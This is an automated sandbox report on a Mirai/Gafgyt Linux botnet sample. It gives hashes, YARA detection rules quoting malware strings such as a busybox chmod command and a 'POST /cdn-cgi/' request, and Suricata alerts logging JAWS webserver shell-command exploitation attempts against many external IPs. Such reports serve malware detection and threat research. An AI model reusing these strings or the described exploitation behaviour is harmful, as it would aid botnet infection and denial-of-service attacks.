Edit tour

Linux Analysis Report
9zldYT23H2.elf

Overview

General Information

Sample name:	9zldYT23H2.elf renamed because original name is a hash value
Original sample name:	6d07b38655f1d3f7d5ede931c3dcbfd8.elf
Analysis ID:	1535540
MD5:	6d07b38655f1d3f7d5ede931c3dcbfd8
SHA1:	92e4e28336efa8b205a159ae902336f7bffb609e
SHA256:	495d59285906fe0c06807773d13148b4bbf2d059b577fdef3ed6dbfb846adcc7
Tags:	32elfmiraisparc
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535540
Start date and time:	2024-10-17 02:18:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	9zldYT23H2.elf renamed because original name is a hash value
Original Sample Name:	6d07b38655f1d3f7d5ede931c3dcbfd8.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@24/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: 9zldYT23H2.elf

Runtime Messages

Command:	/tmp/9zldYT23H2.elf
PID:	5530
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

9zldYT23H2.elf (PID: 5530, Parent: 5448, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/9zldYT23H2.elf

9zldYT23H2.elf New Fork (PID: 5532, Parent: 5530)

9zldYT23H2.elf New Fork (PID: 5534, Parent: 5532)

9zldYT23H2.elf New Fork (PID: 5535, Parent: 5532)

9zldYT23H2.elf New Fork (PID: 5537, Parent: 5532)

9zldYT23H2.elf New Fork (PID: 5539, Parent: 5532)

9zldYT23H2.elf New Fork (PID: 5542, Parent: 5532)

9zldYT23H2.elf New Fork (PID: 5543, Parent: 5532)

xfce4-panel New Fork (PID: 5547, Parent: 3172)

wrapper-2.0 (PID: 5547, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5548, Parent: 3172)

wrapper-2.0 (PID: 5548, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5549, Parent: 3172)

wrapper-2.0 (PID: 5549, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5550, Parent: 3172)

wrapper-2.0 (PID: 5550, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5551, Parent: 3172)

wrapper-2.0 (PID: 5551, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5552, Parent: 3172)

wrapper-2.0 (PID: 5552, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
9zldYT23H2.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
9zldYT23H2.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
9zldYT23H2.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9zldYT23H2.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9zldYT23H2.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
9zldYT23H2.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13846:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
9zldYT23H2.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13846:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
5530.1.00007f380c011000.00007f380c026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13846:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
5534.1.00007f380c011000.00007f380c026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: 9zldYT23H2.elf PID: 5530	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 9zldYT23H2.elf PID: 5530	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x6240:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: 9zldYT23H2.elf PID: 5534	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 9zldYT23H2.elf PID: 5534	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x5ab:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 13 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T02:19:43.499770+0200	2030092	1	Web Application Attack	192.168.2.14	53526	175.135.73.178	80	TCP
2024-10-17T02:19:43.537359+0200	2030092	1	Web Application Attack	192.168.2.14	55348	196.201.9.128	80	TCP
2024-10-17T02:19:45.484716+0200	2030092	1	Web Application Attack	192.168.2.14	52874	207.45.81.68	80	TCP
2024-10-17T02:19:50.549273+0200	2030092	1	Web Application Attack	192.168.2.14	39766	174.24.2.27	80	TCP
2024-10-17T02:19:50.606267+0200	2030092	1	Web Application Attack	192.168.2.14	41198	96.128.202.170	80	TCP
2024-10-17T02:19:50.701199+0200	2030092	1	Web Application Attack	192.168.2.14	51290	27.147.76.225	80	TCP
2024-10-17T02:19:50.709676+0200	2030092	1	Web Application Attack	192.168.2.14	55720	206.61.33.79	80	TCP
2024-10-17T02:19:50.710864+0200	2030092	1	Web Application Attack	192.168.2.14	60586	155.202.61.115	80	TCP
2024-10-17T02:19:50.763400+0200	2030092	1	Web Application Attack	192.168.2.14	36908	131.123.125.247	80	TCP
2024-10-17T02:19:50.775950+0200	2030092	1	Web Application Attack	192.168.2.14	49670	151.92.33.61	80	TCP
2024-10-17T02:19:50.808511+0200	2030092	1	Web Application Attack	192.168.2.14	40776	118.61.252.110	80	TCP
2024-10-17T02:19:51.083304+0200	2030092	1	Web Application Attack	192.168.2.14	53778	199.4.155.168	80	TCP
2024-10-17T02:19:51.097209+0200	2030092	1	Web Application Attack	192.168.2.14	50640	89.205.249.27	80	TCP
2024-10-17T02:19:51.174010+0200	2030092	1	Web Application Attack	192.168.2.14	58536	65.149.139.140	80	TCP
2024-10-17T02:19:51.196531+0200	2030092	1	Web Application Attack	192.168.2.14	47256	8.195.166.159	80	TCP
2024-10-17T02:19:51.217572+0200	2030092	1	Web Application Attack	192.168.2.14	51788	94.8.190.200	80	TCP
2024-10-17T02:19:51.238264+0200	2030092	1	Web Application Attack	192.168.2.14	57006	107.222.113.58	80	TCP
2024-10-17T02:19:51.250029+0200	2030092	1	Web Application Attack	192.168.2.14	42770	36.46.127.250	80	TCP
2024-10-17T02:19:51.262614+0200	2030092	1	Web Application Attack	192.168.2.14	39670	119.43.17.98	80	TCP
2024-10-17T02:19:51.297429+0200	2030092	1	Web Application Attack	192.168.2.14	40230	57.222.88.137	80	TCP
2024-10-17T02:19:51.319816+0200	2030092	1	Web Application Attack	192.168.2.14	33948	35.45.188.242	80	TCP
2024-10-17T02:19:51.366291+0200	2030092	1	Web Application Attack	192.168.2.14	56104	66.119.106.113	80	TCP
2024-10-17T02:19:51.376164+0200	2030092	1	Web Application Attack	192.168.2.14	48658	34.50.168.128	80	TCP
2024-10-17T02:19:51.416631+0200	2030092	1	Web Application Attack	192.168.2.14	37346	74.67.187.229	80	TCP
2024-10-17T02:19:51.489124+0200	2030092	1	Web Application Attack	192.168.2.14	60416	143.90.220.190	80	TCP
2024-10-17T02:19:51.592718+0200	2030092	1	Web Application Attack	192.168.2.14	34644	176.113.27.165	80	TCP
2024-10-17T02:19:51.624428+0200	2030092	1	Web Application Attack	192.168.2.14	34536	104.67.111.220	80	TCP
2024-10-17T02:19:51.708703+0200	2030092	1	Web Application Attack	192.168.2.14	51180	17.54.164.225	80	TCP
2024-10-17T02:19:51.725896+0200	2030092	1	Web Application Attack	192.168.2.14	48364	174.27.117.70	80	TCP
2024-10-17T02:19:51.763309+0200	2030092	1	Web Application Attack	192.168.2.14	43248	173.138.120.251	80	TCP
2024-10-17T02:19:51.799243+0200	2030092	1	Web Application Attack	192.168.2.14	59064	198.90.180.54	80	TCP
2024-10-17T02:19:52.015865+0200	2030092	1	Web Application Attack	192.168.2.14	47928	59.213.205.136	80	TCP
2024-10-17T02:19:52.028831+0200	2030092	1	Web Application Attack	192.168.2.14	59294	183.101.116.38	80	TCP
2024-10-17T02:19:52.073509+0200	2030092	1	Web Application Attack	192.168.2.14	34964	93.85.10.209	80	TCP
2024-10-17T02:19:52.082866+0200	2030092	1	Web Application Attack	192.168.2.14	57476	208.9.61.39	80	TCP
2024-10-17T02:19:52.116321+0200	2030092	1	Web Application Attack	192.168.2.14	51492	68.253.207.101	80	TCP
2024-10-17T02:19:52.176694+0200	2030092	1	Web Application Attack	192.168.2.14	59144	212.160.200.226	80	TCP
2024-10-17T02:19:52.243996+0200	2030092	1	Web Application Attack	192.168.2.14	49226	62.200.140.21	80	TCP
2024-10-17T02:19:52.247075+0200	2030092	1	Web Application Attack	192.168.2.14	49968	45.36.46.7	80	TCP
2024-10-17T02:19:52.298449+0200	2030092	1	Web Application Attack	192.168.2.14	43052	66.24.173.21	80	TCP
2024-10-17T02:19:52.336251+0200	2030092	1	Web Application Attack	192.168.2.14	55200	27.237.227.136	80	TCP
2024-10-17T02:19:52.399681+0200	2030092	1	Web Application Attack	192.168.2.14	52918	31.184.127.205	80	TCP
2024-10-17T02:19:52.468596+0200	2030092	1	Web Application Attack	192.168.2.14	54670	74.67.219.248	80	TCP
2024-10-17T02:19:52.470184+0200	2030092	1	Web Application Attack	192.168.2.14	50646	25.246.143.164	80	TCP
2024-10-17T02:19:52.850585+0200	2030092	1	Web Application Attack	192.168.2.14	43928	9.97.245.184	80	TCP
2024-10-17T02:19:52.861669+0200	2030092	1	Web Application Attack	192.168.2.14	45522	135.110.177.174	80	TCP
2024-10-17T02:19:53.650638+0200	2030092	1	Web Application Attack	192.168.2.14	47110	113.128.194.225	80	TCP
2024-10-17T02:19:53.683908+0200	2030092	1	Web Application Attack	192.168.2.14	51026	5.130.89.178	80	TCP
2024-10-17T02:19:53.813071+0200	2030092	1	Web Application Attack	192.168.2.14	48600	73.11.181.94	80	TCP
2024-10-17T02:19:53.835461+0200	2030092	1	Web Application Attack	192.168.2.14	33522	117.8.254.220	80	TCP
2024-10-17T02:19:53.876102+0200	2030092	1	Web Application Attack	192.168.2.14	54782	57.193.125.46	80	TCP
2024-10-17T02:19:53.946097+0200	2030092	1	Web Application Attack	192.168.2.14	48318	93.69.149.217	80	TCP
2024-10-17T02:19:53.972573+0200	2030092	1	Web Application Attack	192.168.2.14	49442	54.190.28.113	80	TCP
2024-10-17T02:19:53.996480+0200	2030092	1	Web Application Attack	192.168.2.14	51418	184.113.130.61	80	TCP
2024-10-17T02:19:54.000434+0200	2030092	1	Web Application Attack	192.168.2.14	60822	43.226.11.224	80	TCP
2024-10-17T02:19:54.007402+0200	2030092	1	Web Application Attack	192.168.2.14	46682	24.159.2.208	80	TCP
2024-10-17T02:19:54.057698+0200	2030092	1	Web Application Attack	192.168.2.14	46528	147.49.229.14	80	TCP
2024-10-17T02:19:54.169452+0200	2030092	1	Web Application Attack	192.168.2.14	38624	133.147.117.27	80	TCP
2024-10-17T02:19:54.170796+0200	2030092	1	Web Application Attack	192.168.2.14	47816	189.3.53.250	80	TCP
2024-10-17T02:19:54.218899+0200	2030092	1	Web Application Attack	192.168.2.14	55774	222.80.213.83	80	TCP
2024-10-17T02:19:54.251480+0200	2030092	1	Web Application Attack	192.168.2.14	49924	31.217.15.0	80	TCP
2024-10-17T02:19:54.467219+0200	2030092	1	Web Application Attack	192.168.2.14	50026	161.190.100.158	80	TCP
2024-10-17T02:19:54.488030+0200	2030092	1	Web Application Attack	192.168.2.14	37902	183.246.247.40	80	TCP
2024-10-17T02:19:54.489147+0200	2030092	1	Web Application Attack	192.168.2.14	54414	109.3.101.144	80	TCP
2024-10-17T02:19:54.519221+0200	2030092	1	Web Application Attack	192.168.2.14	53534	82.235.166.47	80	TCP
2024-10-17T02:19:54.863832+0200	2030092	1	Web Application Attack	192.168.2.14	47174	5.15.108.196	80	TCP
2024-10-17T02:19:54.863832+0200	2030092	1	Web Application Attack	192.168.2.14	35872	5.64.195.2	80	TCP
2024-10-17T02:19:57.545266+0200	2030092	1	Web Application Attack	192.168.2.14	34960	185.74.231.206	80	TCP
2024-10-17T02:19:57.568710+0200	2030092	1	Web Application Attack	192.168.2.14	44306	93.215.15.64	80	TCP
2024-10-17T02:19:57.568941+0200	2030092	1	Web Application Attack	192.168.2.14	42104	208.31.172.229	80	TCP
2024-10-17T02:19:57.584557+0200	2030092	1	Web Application Attack	192.168.2.14	43864	122.226.14.9	80	TCP
2024-10-17T02:19:57.599416+0200	2030092	1	Web Application Attack	192.168.2.14	33296	154.118.233.210	80	TCP
2024-10-17T02:19:57.617547+0200	2030092	1	Web Application Attack	192.168.2.14	36538	201.76.39.168	80	TCP
2024-10-17T02:19:57.632257+0200	2030092	1	Web Application Attack	192.168.2.14	44982	222.90.251.56	80	TCP
2024-10-17T02:19:57.635898+0200	2030092	1	Web Application Attack	192.168.2.14	50408	105.39.202.218	80	TCP
2024-10-17T02:19:57.639622+0200	2030092	1	Web Application Attack	192.168.2.14	58550	221.241.124.233	80	TCP
2024-10-17T02:19:57.652626+0200	2030092	1	Web Application Attack	192.168.2.14	52108	76.238.117.139	80	TCP
2024-10-17T02:19:57.653848+0200	2030092	1	Web Application Attack	192.168.2.14	46008	104.58.180.174	80	TCP
2024-10-17T02:19:57.671476+0200	2030092	1	Web Application Attack	192.168.2.14	54094	72.225.88.243	80	TCP
2024-10-17T02:19:57.676773+0200	2030092	1	Web Application Attack	192.168.2.14	37176	97.119.68.125	80	TCP
2024-10-17T02:19:58.566409+0200	2030092	1	Web Application Attack	192.168.2.14	60148	75.168.217.172	80	TCP
2024-10-17T02:19:58.566700+0200	2030092	1	Web Application Attack	192.168.2.14	50870	68.220.201.40	80	TCP
2024-10-17T02:19:58.567667+0200	2030092	1	Web Application Attack	192.168.2.14	37702	17.32.205.241	80	TCP
2024-10-17T02:19:58.567767+0200	2030092	1	Web Application Attack	192.168.2.14	42484	161.102.222.250	80	TCP
2024-10-17T02:19:58.567794+0200	2030092	1	Web Application Attack	192.168.2.14	53258	143.1.161.253	80	TCP
2024-10-17T02:19:58.567900+0200	2030092	1	Web Application Attack	192.168.2.14	36958	131.235.143.94	80	TCP
2024-10-17T02:19:58.567948+0200	2030092	1	Web Application Attack	192.168.2.14	46420	9.180.191.186	80	TCP
2024-10-17T02:19:58.568109+0200	2030092	1	Web Application Attack	192.168.2.14	60088	149.107.115.43	80	TCP
2024-10-17T02:19:58.568177+0200	2030092	1	Web Application Attack	192.168.2.14	37280	117.121.66.73	80	TCP
2024-10-17T02:19:58.578897+0200	2030092	1	Web Application Attack	192.168.2.14	44854	147.91.195.83	80	TCP
2024-10-17T02:19:58.594853+0200	2030092	1	Web Application Attack	192.168.2.14	36114	188.133.193.96	80	TCP
2024-10-17T02:19:58.594908+0200	2030092	1	Web Application Attack	192.168.2.14	46840	175.49.180.42	80	TCP
2024-10-17T02:19:58.602162+0200	2030092	1	Web Application Attack	192.168.2.14	60772	25.152.41.191	80	TCP
2024-10-17T02:19:58.602993+0200	2030092	1	Web Application Attack	192.168.2.14	33268	173.24.42.205	80	TCP
2024-10-17T02:19:58.603289+0200	2030092	1	Web Application Attack	192.168.2.14	41714	24.25.114.92	80	TCP
2024-10-17T02:19:58.603327+0200	2030092	1	Web Application Attack	192.168.2.14	36272	135.46.162.119	80	TCP
2024-10-17T02:19:58.603446+0200	2030092	1	Web Application Attack	192.168.2.14	44198	133.93.157.217	80	TCP
2024-10-17T02:19:58.603580+0200	2030092	1	Web Application Attack	192.168.2.14	51430	46.58.44.127	80	TCP
2024-10-17T02:19:58.603744+0200	2030092	1	Web Application Attack	192.168.2.14	44130	153.132.207.208	80	TCP
2024-10-17T02:19:58.603814+0200	2030092	1	Web Application Attack	192.168.2.14	39716	49.77.113.70	80	TCP
2024-10-17T02:19:58.605621+0200	2030092	1	Web Application Attack	192.168.2.14	40318	116.90.216.16	80	TCP
2024-10-17T02:19:58.607322+0200	2030092	1	Web Application Attack	192.168.2.14	41304	198.232.64.46	80	TCP
2024-10-17T02:19:58.609944+0200	2030092	1	Web Application Attack	192.168.2.14	59808	57.228.96.252	80	TCP
2024-10-17T02:19:58.610368+0200	2030092	1	Web Application Attack	192.168.2.14	35848	91.155.223.28	80	TCP
2024-10-17T02:19:58.611193+0200	2030092	1	Web Application Attack	192.168.2.14	32788	210.224.115.209	80	TCP
2024-10-17T02:19:58.613997+0200	2030092	1	Web Application Attack	192.168.2.14	49368	102.240.78.54	80	TCP
2024-10-17T02:19:58.628721+0200	2030092	1	Web Application Attack	192.168.2.14	54572	198.38.116.108	80	TCP
2024-10-17T02:19:58.629463+0200	2030092	1	Web Application Attack	192.168.2.14	58636	193.72.105.248	80	TCP
2024-10-17T02:19:58.629597+0200	2030092	1	Web Application Attack	192.168.2.14	58110	194.205.234.80	80	TCP
2024-10-17T02:19:58.629736+0200	2030092	1	Web Application Attack	192.168.2.14	43980	209.100.72.91	80	TCP
2024-10-17T02:19:58.630512+0200	2030092	1	Web Application Attack	192.168.2.14	55696	179.248.90.42	80	TCP
2024-10-17T02:19:58.630862+0200	2030092	1	Web Application Attack	192.168.2.14	42050	53.56.132.164	80	TCP
2024-10-17T02:19:58.631330+0200	2030092	1	Web Application Attack	192.168.2.14	36278	140.76.233.172	80	TCP
2024-10-17T02:19:58.638044+0200	2030092	1	Web Application Attack	192.168.2.14	56916	167.200.167.59	80	TCP
2024-10-17T02:19:58.639495+0200	2030092	1	Web Application Attack	192.168.2.14	34298	171.252.203.211	80	TCP
2024-10-17T02:19:58.639544+0200	2030092	1	Web Application Attack	192.168.2.14	34032	107.83.132.43	80	TCP
2024-10-17T02:19:58.673436+0200	2030092	1	Web Application Attack	192.168.2.14	41198	151.218.77.28	80	TCP
2024-10-17T02:19:59.018474+0200	2030092	1	Web Application Attack	192.168.2.14	49824	91.197.211.245	80	TCP
2024-10-17T02:19:59.670453+0200	2030092	1	Web Application Attack	192.168.2.14	49520	98.25.199.244	80	TCP
2024-10-17T02:19:59.676761+0200	2030092	1	Web Application Attack	192.168.2.14	52730	189.216.187.204	80	TCP
2024-10-17T02:19:59.783512+0200	2030092	1	Web Application Attack	192.168.2.14	42914	187.176.140.22	80	TCP
2024-10-17T02:20:00.805516+0200	2030092	1	Web Application Attack	192.168.2.14	41212	179.68.194.15	80	TCP
2024-10-17T02:20:00.805587+0200	2030092	1	Web Application Attack	192.168.2.14	33698	151.151.138.25	80	TCP
2024-10-17T02:20:00.827002+0200	2030092	1	Web Application Attack	192.168.2.14	50466	58.102.104.193	80	TCP
2024-10-17T02:20:01.841902+0200	2030092	1	Web Application Attack	192.168.2.14	52558	31.21.65.53	80	TCP
2024-10-17T02:20:03.881282+0200	2030092	1	Web Application Attack	192.168.2.14	45150	133.63.178.6	80	TCP
2024-10-17T02:20:04.869983+0200	2030092	1	Web Application Attack	192.168.2.14	47266	176.26.30.177	80	TCP
2024-10-17T02:20:04.872031+0200	2030092	1	Web Application Attack	192.168.2.14	58844	185.216.10.132	80	TCP
2024-10-17T02:20:06.923950+0200	2030092	1	Web Application Attack	192.168.2.14	49584	187.204.196.52	80	TCP
2024-10-17T02:20:06.931398+0200	2030092	1	Web Application Attack	192.168.2.14	39288	74.35.52.248	80	TCP
2024-10-17T02:20:06.939532+0200	2030092	1	Web Application Attack	192.168.2.14	46644	75.200.133.91	80	TCP
2024-10-17T02:20:07.945422+0200	2030092	1	Web Application Attack	192.168.2.14	44260	155.19.58.203	80	TCP
2024-10-17T02:20:09.426089+0200	2030092	1	Web Application Attack	192.168.2.14	53880	177.194.0.8	80	TCP
2024-10-17T02:20:09.956567+0200	2030092	1	Web Application Attack	192.168.2.14	49836	110.16.12.243	80	TCP
2024-10-17T02:20:10.186409+0200	2030092	1	Web Application Attack	192.168.2.14	49154	94.254.17.127	80	TCP
2024-10-17T02:20:10.953388+0200	2030092	1	Web Application Attack	192.168.2.14	46170	161.216.103.69	80	TCP
2024-10-17T02:20:10.978934+0200	2030092	1	Web Application Attack	192.168.2.14	44690	86.186.132.2	80	TCP
2024-10-17T02:20:12.003869+0200	2030092	1	Web Application Attack	192.168.2.14	43790	171.47.88.206	80	TCP
2024-10-17T02:20:15.062239+0200	2030092	1	Web Application Attack	192.168.2.14	44814	166.69.38.11	80	TCP
2024-10-17T02:20:15.062313+0200	2030092	1	Web Application Attack	192.168.2.14	46400	45.194.68.172	80	TCP
2024-10-17T02:20:16.033309+0200	2030092	1	Web Application Attack	192.168.2.14	40786	100.128.226.100	80	TCP
2024-10-17T02:20:16.044127+0200	2030092	1	Web Application Attack	192.168.2.14	36842	140.103.181.245	80	TCP
2024-10-17T02:20:16.089828+0200	2030092	1	Web Application Attack	192.168.2.14	49632	95.190.251.224	80	TCP
2024-10-17T02:20:17.919903+0200	2030092	1	Web Application Attack	192.168.2.14	54958	66.126.50.28	80	TCP
2024-10-17T02:20:18.057377+0200	2030092	1	Web Application Attack	192.168.2.14	45988	38.21.217.178	80	TCP
2024-10-17T02:20:18.203180+0200	2030092	1	Web Application Attack	192.168.2.14	57412	144.198.200.70	80	TCP
2024-10-17T02:20:18.923112+0200	2030092	1	Web Application Attack	192.168.2.14	42964	210.98.247.137	80	TCP
2024-10-17T02:20:19.238257+0200	2030092	1	Web Application Attack	192.168.2.14	48476	27.49.26.62	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T02:19:41.137206+0200	2029034	1	Web Application Attack	192.168.2.14	48374	117.184.202.170	443	TCP
2024-10-17T02:19:41.137340+0200	2029034	1	Web Application Attack	192.168.2.14	45754	94.254.142.163	443	TCP
2024-10-17T02:19:41.137387+0200	2029034	1	Web Application Attack	192.168.2.14	52518	210.223.79.232	443	TCP
2024-10-17T02:19:41.137424+0200	2029034	1	Web Application Attack	192.168.2.14	37296	212.201.183.181	443	TCP
2024-10-17T02:19:41.137485+0200	2029034	1	Web Application Attack	192.168.2.14	36426	109.224.137.146	443	TCP
2024-10-17T02:19:41.137602+0200	2029034	1	Web Application Attack	192.168.2.14	35546	37.151.27.138	443	TCP
